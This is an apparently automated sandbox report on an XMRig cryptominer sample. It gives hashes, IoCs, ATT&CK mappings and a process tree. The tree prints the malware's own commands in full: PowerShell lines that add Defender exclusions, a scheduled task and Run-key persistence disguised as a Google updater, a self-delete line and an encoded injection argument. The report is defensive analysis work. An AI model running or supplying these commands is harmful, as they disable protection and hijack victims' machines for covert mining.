xmrig | 165a0de3cbb54178e47215a0ad412c91f1cbbcefc3c3d35d8124c5972d1c1950

max time kernel
461s
max time network
1796s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
23/01/2024, 19:27

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General

Target
grhsghsGHswgh/Yvdp8t5knpQz7sFB.exe
Size 2.0MB
Sample240123-x59d7agbd6
SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
MD5 a16a669a09bf158058b83e04e69fe38e
SHA1 f6c94763850d9e590d86057139e8895a7aacdeea
SHA512 658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP 49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

description	pid	Process	procid_target
PID 1720 created 1204	1720	Yvdp8t5knpQz7sFB.exe	17
PID 1720 created 1204	1720	Yvdp8t5knpQz7sFB.exe	17
PID 1720 created 1204	1720	Yvdp8t5knpQz7sFB.exe	17
PID 1720 created 1204	1720	Yvdp8t5knpQz7sFB.exe	17
PID 2656 created 1204	2656	updater.exe	17
PID 2656 created 1204	2656	updater.exe	17
PID 2656 created 1204	2656	updater.exe	17
PID 2656 created 1204	2656	updater.exe	17
PID 2560 created 1204	2560	conhost.exe	17
PID 2656 created 1204	2656	updater.exe	17

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 30 IoCs

miner

resource	yara_rule
behavioral31/memory/1988-69-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/1988-71-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/1988-72-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/1988-76-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/1988-78-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/1988-80-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/1988-82-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/1988-84-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/1988-86-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/1988-88-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/1988-90-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/1988-92-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/1988-94-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/1988-96-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/1988-98-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/1988-100-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/1988-102-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/1988-104-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/1988-106-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/1988-108-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/1988-110-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/1988-112-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/1988-114-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/1988-116-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/1988-118-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/1988-120-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/1988-122-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/1988-124-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/1988-126-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/1988-128-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig

Deletes itself 1 IoCs

pid	Process
2712	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
2656	updater.exe

Loads dropped DLL 1 IoCs

pid	Process
2844	taskeng.exe

UPX packed file 31 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral31/memory/1988-65-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/1988-69-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/1988-71-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/1988-72-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/1988-76-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/1988-78-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/1988-80-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/1988-82-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/1988-84-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/1988-86-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/1988-88-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/1988-90-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/1988-92-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/1988-94-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/1988-96-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/1988-98-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/1988-100-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/1988-102-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/1988-104-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/1988-106-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/1988-108-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/1988-110-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/1988-112-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/1988-114-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/1988-116-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/1988-118-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/1988-120-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/1988-122-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/1988-124-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/1988-126-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/1988-128-0x0000000140000000-0x00000001407F4000-memory.dmp	upx

Drops file in System32 directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2656 set thread context of 2560	2656	updater.exe	49
PID 2656 set thread context of 1988	2656	updater.exe	52

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Chrome\updater.exe	Yvdp8t5knpQz7sFB.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
1660	schtasks.exe
2832	schtasks.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
292	WMIC.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = b083140b404fda01	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

pid	Process
1720	Yvdp8t5knpQz7sFB.exe
1720	Yvdp8t5knpQz7sFB.exe
2168	powershell.exe
1720	Yvdp8t5knpQz7sFB.exe
1720	Yvdp8t5knpQz7sFB.exe
2776	powershell.exe
1720	Yvdp8t5knpQz7sFB.exe
1720	Yvdp8t5knpQz7sFB.exe
1720	Yvdp8t5knpQz7sFB.exe
1720	Yvdp8t5knpQz7sFB.exe
2848	powershell.exe
2656	updater.exe
2656	updater.exe
2472	powershell.exe
2656	updater.exe
2656	updater.exe
1196	powershell.exe
2656	updater.exe
2656	updater.exe
2656	updater.exe
2656	updater.exe
2560	conhost.exe
2560	conhost.exe
2656	updater.exe
2656	updater.exe

Suspicious use of AdjustPrivilegeToken 31 IoCs

description	pid	Process
Token: SeDebugPrivilege	2168	powershell.exe
Token: SeDebugPrivilege	2776	powershell.exe
Token: SeDebugPrivilege	2848	powershell.exe
Token: SeDebugPrivilege	2472	powershell.exe
Token: SeDebugPrivilege	1196	powershell.exe
Token: SeDebugPrivilege	2656	updater.exe
Token: SeAssignPrimaryTokenPrivilege	292	WMIC.exe
Token: SeIncreaseQuotaPrivilege	292	WMIC.exe
Token: SeSecurityPrivilege	292	WMIC.exe
Token: SeTakeOwnershipPrivilege	292	WMIC.exe
Token: SeLoadDriverPrivilege	292	WMIC.exe
Token: SeSystemtimePrivilege	292	WMIC.exe
Token: SeBackupPrivilege	292	WMIC.exe
Token: SeRestorePrivilege	292	WMIC.exe
Token: SeShutdownPrivilege	292	WMIC.exe
Token: SeSystemEnvironmentPrivilege	292	WMIC.exe
Token: SeUndockPrivilege	292	WMIC.exe
Token: SeManageVolumePrivilege	292	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	292	WMIC.exe
Token: SeIncreaseQuotaPrivilege	292	WMIC.exe
Token: SeSecurityPrivilege	292	WMIC.exe
Token: SeTakeOwnershipPrivilege	292	WMIC.exe
Token: SeLoadDriverPrivilege	292	WMIC.exe
Token: SeSystemtimePrivilege	292	WMIC.exe
Token: SeBackupPrivilege	292	WMIC.exe
Token: SeRestorePrivilege	292	WMIC.exe
Token: SeShutdownPrivilege	292	WMIC.exe
Token: SeSystemEnvironmentPrivilege	292	WMIC.exe
Token: SeUndockPrivilege	292	WMIC.exe
Token: SeManageVolumePrivilege	292	WMIC.exe
Token: SeLockMemoryPrivilege	1988	conhost.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2776 wrote to memory of 2832	2776	powershell.exe	32
PID 2776 wrote to memory of 2832	2776	powershell.exe	32
PID 2776 wrote to memory of 2832	2776	powershell.exe	32
PID 2712 wrote to memory of 2872	2712	cmd.exe	33
PID 2712 wrote to memory of 2872	2712	cmd.exe	33
PID 2712 wrote to memory of 2872	2712	cmd.exe	33
PID 2848 wrote to memory of 2632	2848	powershell.exe	40
PID 2848 wrote to memory of 2632	2848	powershell.exe	40
PID 2848 wrote to memory of 2632	2848	powershell.exe	40
PID 2844 wrote to memory of 2656	2844	taskeng.exe	38
PID 2844 wrote to memory of 2656	2844	taskeng.exe	38
PID 2844 wrote to memory of 2656	2844	taskeng.exe	38
PID 1196 wrote to memory of 1660	1196	powershell.exe	53
PID 1196 wrote to memory of 1660	1196	powershell.exe	53
PID 1196 wrote to memory of 1660	1196	powershell.exe	53
PID 2656 wrote to memory of 2560	2656	updater.exe	49
PID 1328 wrote to memory of 292	1328	cmd.exe	51
PID 1328 wrote to memory of 292	1328	cmd.exe	51
PID 1328 wrote to memory of 292	1328	cmd.exe	51
PID 2656 wrote to memory of 1988	2656	updater.exe	52

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1204
- C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Yvdp8t5knpQz7sFB.exe
  "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Yvdp8t5knpQz7sFB.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:1720
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2168
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2776
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:2832
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Yvdp8t5knpQz7sFB.exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:2712
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2848
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
    3⤵
    PID:2632
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2472
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1196
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:1660
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:1592
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:1328
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic PATH Win32_VideoController GET Name, VideoProcessor
    3⤵
    - Detects videocard installed
    - Modifies data under HKEY_USERS
    - Suspicious use of AdjustPrivilegeToken
    PID:292
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:2560
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1988

C:\Windows\System32\choice.exe
choice /C Y /N /D Y /T 3
1⤵
PID:2872

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2656

C:\Windows\system32\taskeng.exe
taskeng.exe {CFC851A8-6ECE-4C12-B397-EB234F9A45C5} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2844

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

updater.exe

Path C:\Program Files\Google\Chrome\updater.exe
Size 160KB
SHA256 61ebe0ed49db8bfff366fe84276ffe43f528f4ecb4850589f9342a3257cb2b1f
MD5 9365fa2ef72675e2ff822bf9ec4fba8b
SHA1 210cdf0a01f22f2232c376ab8b2e9b5bde359186
SHA512 6e05993fbc2cddd7511c4b2f7ac05903071a218fdd63f5e2ee6f41be4fcb9906d4464c099a349928e651aab1b3281a32197eab1ed3aed679d9b02b084a84e06f
SSDEEP 3072:L3zjTv46w/ZUFO5TbwWpUt1D995tbq56k6hyqYviCH923SRl:L3zjTg6uUuViDX5Q6k6hyqsD238l
MD5 SHA1 SHA512 SSDEEP

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updater.exe

Path C:\Program Files\Google\Chrome\updater.exe
Size 226KB
SHA256 3586bd91a4a99b74ae47d4cd2f33b05eb06eaf15ea1c44e2a1fb37b6f5d44999
MD5 dfba763355883237a4f8e279feca6d9f
SHA1 4885d798fed33c5cf7518e616a1231fed6f8396b
SHA512 cd5ad86c6e3dfc06c275ebb02195c443f7da4052f72dc0fcf7b78160b0a4d4a46dec75123685b7a516070913e35ae0e65f7541d0c932b13529396f574e7add7a
SSDEEP 6144:L3zjTg6uUuViDX5Q6k6hyqsD238zkU0yLbRfgajd0m8ke2:rWVi46hyqG2ckwLxgajd0mA2
MD5 SHA1 SHA512 SSDEEP

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g.log

Path C:\Program Files\Google\Libs\g.log
Size 198B
SHA256 8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
MD5 37dd19b2be4fa7635ad6a2f3238c4af1
SHA1 e5b2c034636b434faee84e82e3bce3a3d3561943
SHA512 86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5
MD5 SHA1 SHA512

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ZMICTEDDTJT33P9SWQE1.temp

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\ZMICTEDDTJT33P9SWQE1.temp
Size 7KB
SHA256 c7a7e2c413f1ca3a5e274355c3df0439aa8e04e50575cca4481ae385035d19c2
MD5 c9f69fd3c706e38659e809895a14f521
SHA1 400e944b7d0b6dea05c834c4d9e5a253ce0ea44c
SHA512 d1060795c19de321a5c875c8f41234c07acda77e238641944b85850d9458d5faaafd1959cdb04ece01e05c320d7bc01effb276ff066676779289a8935c4144db
SSDEEP 96:gBX2C1M8vnqvsqvJCwo8BX2C1M8vnqvsEHyqvJCworl1xaQHoa7qhXlUVP:Q7rUok7rAHnorlula7qhg
MD5 SHA1 SHA512 SSDEEP

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updater.exe

Path \Program Files\Google\Chrome\updater.exe
Size 207KB
SHA256 0c159dd62a6b4c65a40c8677da83673bbf5709a8259159b17d941fd86bac9f2e
MD5 4c231bc6bb9c0db101a3c86bfdb22b71
SHA1 2bb887a5dcb325568d1b43d8890fcf1f52156045
SHA512 17e3f5a09b0edb48251885983b690841fb688817de8853ac4077a69e4d919a289a5272f8a3ead2cc920f6e994741f63d26796c02a56b3816eada8a6a9c75e111
SSDEEP 6144:L3zjTg6uUuViDX5Q6k6hyqsD238zkU0yLbRfgajdJ:rWVi46hyqG2ckwLxgajdJ
MD5 SHA1 SHA512 SSDEEP

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memory/1196-53-0x00000000014E0000-0x0000000001560000-memory.dmp

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memory/1196-54-0x00000000014E0000-0x0000000001560000-memory.dmp

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memory/1196-50-0x000007FEF5A20000-0x000007FEF63BD000-memory.dmp

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memory/1196-56-0x000007FEF5A20000-0x000007FEF63BD000-memory.dmp

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memory/1196-55-0x00000000014E0000-0x0000000001560000-memory.dmp

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memory/1196-52-0x000007FEF5A20000-0x000007FEF63BD000-memory.dmp

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memory/1196-51-0x00000000014E0000-0x0000000001560000-memory.dmp

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memory/1720-27-0x000000013F5A0000-0x000000013F7B1000-memory.dmp

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memory/1720-0-0x000000013F5A0000-0x000000013F7B1000-memory.dmp

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memory/1988-84-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1988-96-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1988-128-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1988-126-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1988-124-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1988-122-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1988-120-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1988-118-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1988-116-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1988-114-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1988-112-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1988-110-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1988-108-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1988-106-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1988-104-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1988-102-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1988-100-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1988-98-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1988-94-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1988-92-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1988-90-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1988-88-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1988-86-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1988-82-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1988-80-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1988-78-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1988-76-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1988-74-0x0000000000370000-0x0000000000390000-memory.dmp

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memory/1988-65-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1988-64-0x0000000000040000-0x0000000000060000-memory.dmp

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memory/1988-73-0x0000000000350000-0x0000000000370000-memory.dmp

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memory/1988-72-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1988-71-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1988-66-0x0000000000350000-0x0000000000370000-memory.dmp

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memory/1988-67-0x0000000000370000-0x0000000000390000-memory.dmp

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memory/1988-69-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2168-11-0x0000000002B70000-0x0000000002BF0000-memory.dmp

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memory/2168-6-0x0000000001F30000-0x0000000001F38000-memory.dmp

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memory/2168-8-0x0000000002B70000-0x0000000002BF0000-memory.dmp

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memory/2168-12-0x000007FEF5A20000-0x000007FEF63BD000-memory.dmp

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memory/2168-7-0x000007FEF5A20000-0x000007FEF63BD000-memory.dmp

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memory/2168-5-0x000000001B540000-0x000000001B822000-memory.dmp

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memory/2168-9-0x000007FEF5A20000-0x000007FEF63BD000-memory.dmp

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memory/2168-10-0x0000000002B70000-0x0000000002BF0000-memory.dmp

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memory/2472-45-0x000007FEF5080000-0x000007FEF5A1D000-memory.dmp

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memory/2472-43-0x000007FEF5080000-0x000007FEF5A1D000-memory.dmp

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memory/2472-44-0x00000000014F0000-0x0000000001570000-memory.dmp

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memory/2472-46-0x00000000014F0000-0x0000000001570000-memory.dmp

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memory/2472-49-0x000007FEF5080000-0x000007FEF5A1D000-memory.dmp

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memory/2472-48-0x00000000014FB000-0x0000000001562000-memory.dmp

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memory/2472-47-0x00000000014F0000-0x0000000001570000-memory.dmp

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memory/2560-75-0x0000000140000000-0x0000000140016000-memory.dmp

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memory/2560-68-0x0000000140000000-0x0000000140016000-memory.dmp

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memory/2656-63-0x000000013F3C0000-0x000000013F5D1000-memory.dmp

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memory/2656-42-0x000000013F3C0000-0x000000013F5D1000-memory.dmp

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memory/2776-24-0x0000000001EB0000-0x0000000001F30000-memory.dmp

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memory/2776-22-0x000007FEF5080000-0x000007FEF5A1D000-memory.dmp

